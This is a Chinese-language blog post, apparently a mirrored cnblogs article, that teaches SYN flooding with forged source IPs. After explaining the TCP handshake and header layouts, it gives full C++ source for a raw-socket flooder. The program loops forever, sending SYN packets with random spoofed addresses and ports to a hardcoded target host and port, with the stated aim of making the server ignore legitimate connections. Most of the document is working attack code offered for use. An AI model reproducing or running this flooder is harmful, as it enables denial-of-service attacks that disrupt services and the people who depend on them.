zoukankan      html  css  js  c++  java
  • 伪造IP地址进行SYN洪水攻击

    在写代码之前我们需要现来理解下TCP/IP的三次握手以及TCP/IP的包头信息,由此我们可以了解SYN洪水攻击的原理。

    1.TCP/IP三次握手及SYN攻击原理

        TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接:

    位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)

    Sequence number(顺序号码) Acknowledge number(确认号码)

        第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;

        第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包

        第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。

        完成三次握手,主机A与主机B开始传送数据。


    在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
    第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
    第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器 进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED状态,完成三次握手。 完成三次握手,客户端与服务器开始传送数据.

    实例:

    IP 192.168.1.116.3337 > 192.168.1.123.7788: S 3626544836:3626544836
    IP 192.168.1.123.7788 > 192.168.1.116.3337: S 1739326486:1739326486 ack 3626544837
    IP 192.168.1.116.3337 > 192.168.1.123.7788: ack 1739326487,ack 1

    第一次握手:192.168.1.116发送位码syn=1,随机产生seq number=3626544836的数据包到192.168.1.123,192.168.1.123由SYN=1知道192.168.1.116要求建立联机;

    第二次握手:192.168.1.123收到请求后要确认联机信息,向192.168.1.116发送ack number=3626544837,syn=1,ack=1,随机产生seq=1739326486的包;

    第三次握手:192.168.1.116收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,192.168.1.116会再发送ack number=1739326487,ack=1,192.168.1.123收到后确认seq=seq+1,ack=1则连接建立成功。

    如果想要进行对服务器的SYN攻击,我们要做的就是发送大量的SYN=1并且伪造了源IP的TCP/IP包,服务器接受到连接请求后会发送上面第二次握手说到的syn确认包并进入SYN_RECV状态,而我们此时不对这些确认包进行处理,服务器则要花费一定时间等待由此会使正常的连接不被响应,达到我们的攻击目的。

        2.TCP/IP报头分析

    TCP报头结构为:

    源端口(16

    目的端口(16

    序列号(32

    确认号(32

    TCP偏移量(4

    保留(6

    标志(6

    窗口(16

    校验和(16

    紧急(16

    选项(032

    数据(可变)

    以下代码是UNIX下ip报头的结构体定义

     1 struct iphdr
    2 {
    3 #if __BYTE_ORDER == __LITTLE_ENDIAN
    4 unsigned int ihl:4;
    5 unsigned int version:4;
    6 #elif __BYTE_ORDER == __BIG_ENDIAN
    7 unsigned int version:4;
    8 unsigned int ihl:4;
    9 #else
    10 # error "Please fix <bits/endian.h>"
    11 #endif
    12 u_int8_t tos;
    13 u_int16_t tot_len;
    14 u_int16_t id;
    15 u_int16_t frag_off;
    16 u_int8_t ttl;
    17 u_int8_t protocol;
    18 u_int16_t check;
    19 u_int32_t saddr;
    20 u_int32_t daddr;
    21 /*The options start here. */
    22 };

    以下代码是UNIX下TCP报头的定义

    struct tcphdr
    {
    u_int16_t th_sport;
    /* source port */
    u_int16_t th_dport;
    /* destination port */
    tcp_seq th_seq;
    /* sequence number */
    tcp_seq th_ack;
    /* acknowledgement number */
    #
    if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t th_x2:
    4; /* (unused) */
    u_int8_t th_off:
    4; /* data offset */
    # endif
    #
    if __BYTE_ORDER == __BIG_ENDIAN
    u_int8_t th_off:
    4; /* data offset */
    u_int8_t th_x2:
    4; /* (unused) */
    # endif
    u_int8_t th_flags;
    # define TH_FIN
    0x01
    # define TH_SYN
    0x02
    # define TH_RST
    0x04
    # define TH_PUSH
    0x08
    # define TH_ACK
    0x10
    # define TH_URG
    0x20
    u_int16_t th_win;
    /* window */
    u_int16_t th_sum;
    /* checksum */
    u_int16_t th_urp;
    /* urgent pointer */
    };

    我们需要做的是填充这些报头,其进行校验然后封装成包发向服务器。

                                                                                                                     4.psd.h

    /** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * FAKE TCP HEADER
    * FOR CHECKSUM
    *
    * * * * * ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    */

    #ifndef PSD_H
    #define PSD_H

    #include
    <stdint.h>

    struct tcp_psd{
    uint32_t sourceip;
    //源IP地址
    uint32_t destip;//目的IP地址
    int8_t mbz;//置空(0)
    int8_t ptcl;//协议类型(IPPROTO_TCP)
    uint16_t tcpl;//TCP头的长度(单位:字节)
    };


    #endif

                                                                                                                         5.main.cpp

    #include <assert.h>
    #include
    <stdio.h>
    #include
    <stdint.h>
    #include
    <stdlib.h>
    #include
    <string.h>
    #include
    <time.h>
    #include
    <arpa/inet.h>
    #include
    <unistd.h>
    #include
    <netinet/ip.h>
    #include
    <netinet/tcp.h>

    #include
    <sstream>

    #include
    "psd.h"

    #define INVALID_SOCKET -1
    #define SOCKET_ERROR -1
    #define FAILED -1
    #define SUCCESS 0;


    typedef
    struct iphdr IP_HEADER;
    typedef
    struct tcphdr TCP_HEADER;
    typedef
    struct tcp_psd PSD_HEADER;

    int BuildPacket(char *buffer, size_t size); //填写TCP包头
    int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn); //修改TCP包头
    uint16_t GetCheckSum(uint16_t *buffer, int size); //校验和函数
    template <typename T>
    T GetRandom();
    template
    <typename T>
    T stringTonum(
    char* str);


    int main()
    {
    char *szTargetHost = "10.243.25.55";
    char *szTargetPort = "8080";
    const int BUFFERSIZE = 2048;

    uint32_t daddr
    = inet_addr(szTargetHost);
    uint16_t dport
    = stringTonum<uint16_t>(szTargetPort);

    if(daddr == INADDR_NONE
    || dport == 0)
    {
    return FAILED;
    }

    dport
    = htons(dport);


    srand(time(NULL));

    int socketRaw = int(NULL);

    socketRaw
    = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

    if(socketRaw == INVALID_SOCKET)
    {
    perror(
    "Create Socket Failed.");
    return FAILED;
    }

    int flag = 1;
    if(setsockopt(socketRaw, IPPROTO_IP, IP_HDRINCL, (char*)&flag,sizeof(int)) == SOCKET_ERROR)
    {
    perror(
    "set socket option IP_HDRINCL failed.");
    return FAILED;
    }

    struct timeval tvTimeOut;
    tvTimeOut.tv_sec
    = 10;
    tvTimeOut.tv_usec
    = 0;

    if(setsockopt(socketRaw, SOL_SOCKET, SO_SNDTIMEO, (char*)&tvTimeOut, sizeof(struct timeval)) == SOCKET_ERROR)
    {
    perror(
    "set socket option IP_HDRINCL failed.");
    return FAILED;
    }

    char buffer[BUFFERSIZE];

    BuildPacket(buffer,
    sizeof(buffer));

    uint32_t saddr;
    uint16_t sport;
    uint16_t ipid;
    uint32_t isn;



    // uint32_t saddr;
    // uint16_t sport;
    // uint32_t ipid,isn;

    struct sockaddr_in ra;
    ra.sin_family
    = AF_INET;
    ra.sin_port
    = dport;
    ra.sin_addr.s_addr
    = daddr;

    socklen_t ralen
    = sizeof(struct sockaddr_in);
    int packetlen = sizeof(IP_HEADER) + sizeof(TCP_HEADER);

    while(true)
    {
    for(int i=0; i< 10*1024; i++)
    {
    saddr
    = GetRandom<uint32_t>();
    sport
    = GetRandom<uint16_t>();

    ipid
    = GetRandom<uint32_t>();
    isn
    = GetRandom<uint32_t>();

    SetPacket(buffer,daddr,saddr,ipid,dport,sport,isn);
    sendto(socketRaw,buffer,packetlen,
    0,(struct sockaddr*)&ra,ralen);
    }

    puts(
    "1024..");
    }

    close(socketRaw);

    return 0;
    }

    int BuildPacket(char *buffer, size_t size)
    {

    assert(buffer
    != NULL && size > sizeof(IP_HEADER) + sizeof(TCP_HEADER));

    IP_HEADER
    *ipHeader;
    //PSD_HEADER psdHeader;
    TCP_HEADER *tcpHeader;

    ipHeader
    = (IP_HEADER*)buffer;

    ipHeader
    ->tos = 0;
    ipHeader
    ->ihl = (sizeof(IP_HEADER)/sizeof(int));
    ipHeader
    ->version = 4;
    ipHeader
    ->tot_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    ipHeader
    ->protocol = IPPROTO_TCP;
    ipHeader
    ->ttl = 128;
    ipHeader
    ->frag_off = 0;

    tcpHeader
    = (TCP_HEADER*)(buffer + sizeof(IP_HEADER));
    tcpHeader
    ->ack_seq = 0;
    tcpHeader
    ->doff = (sizeof(TCP_HEADER)/sizeof(int));
    tcpHeader
    ->res1 = 0;
    tcpHeader
    ->res2 = 0;
    tcpHeader
    ->urg = 0;
    tcpHeader
    ->ack = 0;
    tcpHeader
    ->psh = 0;
    tcpHeader
    ->rst = 0;
    tcpHeader
    ->syn = 1;
    tcpHeader
    ->fin = 0;
    tcpHeader
    ->window = htons(0x100);
    tcpHeader
    ->urg_ptr = 0;

    return SUCCESS;
    }

    int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn)
    {

    assert(buffer
    != NULL);

    char buf[2048];

    PSD_HEADER
    *psdHeader = (PSD_HEADER *)buf;
    TCP_HEADER
    *tcpHeader = (TCP_HEADER *)(buf + sizeof(PSD_HEADER));

    memcpy(tcpHeader,buffer
    +sizeof(IP_HEADER),sizeof(TCP_HEADER));

    psdHeader
    ->mbz = 0;
    psdHeader
    ->sourceip = addrFake;
    psdHeader
    ->destip = addrTarget;
    psdHeader
    ->ptcl = IPPROTO_TCP;
    psdHeader
    ->tcpl = htons(sizeof(TCP_HEADER));

    tcpHeader
    ->source = portFake;
    tcpHeader
    ->dest = portTarget;
    tcpHeader
    ->seq = isn;
    tcpHeader
    ->check = 0;

    tcpHeader
    ->check = GetCheckSum((uint16_t*)buf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER));

    memcpy(buffer
    +sizeof(IP_HEADER),tcpHeader,sizeof(TCP_HEADER));

    IP_HEADER
    *ipHeader = (IP_HEADER *)buffer;
    ipHeader
    ->id = id;
    ipHeader
    ->saddr = addrFake;
    ipHeader
    ->daddr = addrTarget;
    ipHeader
    ->check = 0;

    ipHeader
    ->check = GetCheckSum((uint16_t*)buffer,sizeof(IP_HEADER)+sizeof(TCP_HEADER));

    return SUCCESS;
    }

    uint16_t GetCheckSum(uint16_t
    *buffer, int size)
    {
    unsigned
    long cksum=0;
    while (size > 1)
    {
    cksum
    += *buffer++;
    size
    -= sizeof(uint16_t);
    }
    if (size)
    {
    cksum
    += *(uint8_t*)buffer;
    }
    cksum
    = (cksum >> 16) + (cksum & 0xffff);
    cksum
    += (cksum >>16);
    return (uint16_t)(~cksum);
    }

    template
    <typename T>
    T stringTonum(
    char* str)
    {
    T rslt
    = 0;
    std::stringstream ss(str);
    ss
    >> rslt ;

    return rslt;
    }


    template
    <typename T>
    T GetRandom()
    {
    uint32_t rslt
    = 0;
    rslt
    = rand();

    switch(sizeof(T))
    {
    case 4:
    //rslt = rslt & 0xFFFFFFFF;
    break;
    case 2:
    rslt
    = rslt & 0xFFFF;
    break;
    case 1:
    rslt
    = rslt & 0xFF;
    break;
    default:
    assert(
    false);
    break;
    }

    return (T) rslt;
    }

  • 相关阅读:
    maven3实战之仓库(快照版本)
    三、常见分析函数详解
    二、理解over()函数
    一、Oracle分析函数入门
    Java程序性能优化技巧
    同步synchronized用法
    java枚举使用详解
    jpa+spring配置多数据源
    jxl导入/导出excel
    CVS数据的导入和导出
  • 原文地址:https://www.cnblogs.com/skiplow/p/2111751.html
Copyright © 2011-2022 走看看